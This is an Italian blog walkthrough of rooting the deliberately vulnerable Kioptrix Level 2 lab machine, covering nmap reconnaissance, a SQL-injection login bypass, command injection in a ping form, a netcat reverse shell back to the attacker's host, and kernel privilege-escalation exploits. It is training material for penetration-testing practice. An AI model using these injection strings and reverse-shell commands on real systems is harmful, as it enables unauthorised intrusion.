Getting Root: Kioptrix livello 2

Il secondo livello di Kioptrix non presenta particolari difficoltà. Fa parte di quelle macchine che sto usando per ricostruire l’autostima in vista della prossima OSCP.
Kioptrix Livello 2
Continuiamo la serie Kioptrix ed arriviamo al livello 2 disponibile qui.
Anche questa macchina virtuale è un box Linux su cui è montata una distribuzione CentOS obsoleta.
Setup dell’ambiente
Per iniziare, ho scaricato la versione corretta della macchina virtuale. La prima versione aveva infatti un bug nella web application. Ho lasciato configurato VirtualBox affinché esegua la mia Kali Linux e la macchina target in una rete ad hoc, isolata dal mondo esterno.
Questo si ottiene andando sulle preferenze di Virtual Box, selezionando Network ed il tab Host-only networks.
Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.
La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. La macchina 192.168.56.103 è il nostro target.
Recon
Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.
# nmap -sV -O 192.168.56.103 -oA 192.168.56.103
# Nmap 7.50 scan initiated Mon Sep 11 17:28:58 2017 as: nmap -sV -O -oA 192.168.56.103 192.168.56.103
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00024s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:87:1E:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 11 17:29:14 2017 -- 1 IP address (1 host up) scanned in 16.05 seconds
E’ stato lanciato anche un dirb, che però non ha trovato cose interessanti.
Takeover narrative
Cercando con searchexploit, qualche exploit già pronto per le versioni rilevate abbiamo che per CUPS c’è qualcosa che possa darmi una shell, mentre per Apache solamente un DoS.
Navigando sulla porta 80, ci viene presentato una maschera di login di uno pseudo portale amministrativo.
La pagina di login era facilmente bypassabile usando la combinazione di credenziali admin:foo or ‘1’=’1.
Una volta autenticati, ci viene presentata una maschera che ci permette di eseguire un ping su un indirizzo ip passato come parametro. Questo genere di funzionalità si presta spesso a problematiche di command injection, quando l’input non è validato correttamente.
Infatti, usando il carattere ‘;’ come separatore, siamo in grado di far eseguire il comando id.
Una shell non privilegiata sulla macchina fa sempre comodo come primo risultato, che ne pensate?
Bene, su una finestra di terminale, ho lanciato netcat in ascolto sulla porta 443 e poi ho cercato di fare una callback alla mia macchina.
$ nc -lvnp 443
Perché uso la 443? Preferisco usare porte di servizi conosciuti, per evitare problemi con eventuali firewall. Servizi come 21, 53, 80, 443 in uscita da un indirizzo IP, possono essere dei buoni candidati.
Dopo un po’ di tentativi di indovinare il path di netcat, sulla macchina target, sono riuscito ad ottenere la mia shell col comando 192.168.56.101; /usr/local/bin/nc 192.168.56.101 443 -e /bin/sh
Da dentro, il primo obiettivo è capire bene di quale distribuzione si sta parlando e soprattutto quale la versione del kernel. Questo ci permette in seguito di cercare l’exploit migliore per elevare i privilegi della nostra shell.
$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
$ lsb_release -a
LSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description: CentOS release 4.5 (Final)
Release: 4.5
Codename: Final
Cerco quindi exploit per CentOS 4.5 e sono abbastanza fortunato.
Visto che le macchine, per come è stato creato il mini laboratorio, non escono su Internet direttamente, carico gli exploit nella mia /var/www/html e usando wget li prelevo dal target.
Provo prima l’exploit per il CVE-2009-2698 ma, una volta caricato fallisce. Niente shell di root al primo tentativo.
Provo quindi con l’exploit per il CVE-2009-2692 e questa volta, dopo aver compilato e lanciato l’exploit ho più fortuna: sono root.
Ho cercato un po’ in lungo ed in largo la flag di questa macchina ma non l’ho trovata. Probabilmente l’autore non l’ha messa.
Spinoff
Andando a vedere il codice sorgente di /var/www/html/index.php è possibile ottenere la password di MySQL dell’utente john.
E connettersi con successo al database MySQL.
Andando più a fondo è stato possibile trovare le hash delle password degli utenti del piccolo portale.
Ed infine è stato possibile risalire alla password di root su MySQL che è hiroshima.
Off by one
Anche questo livello 2 di Kioptrix non ha presentato grosse difficoltà. Resta il punto aperto del perché l’exploit per il CVE-2009-2698 non abbia funzionato, ma non ho investigato nel dettaglio, visto lo scopo di queste esercitazioni.
Il livello 3 di Kioptrix mi aspetta.
Enjoy it!
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto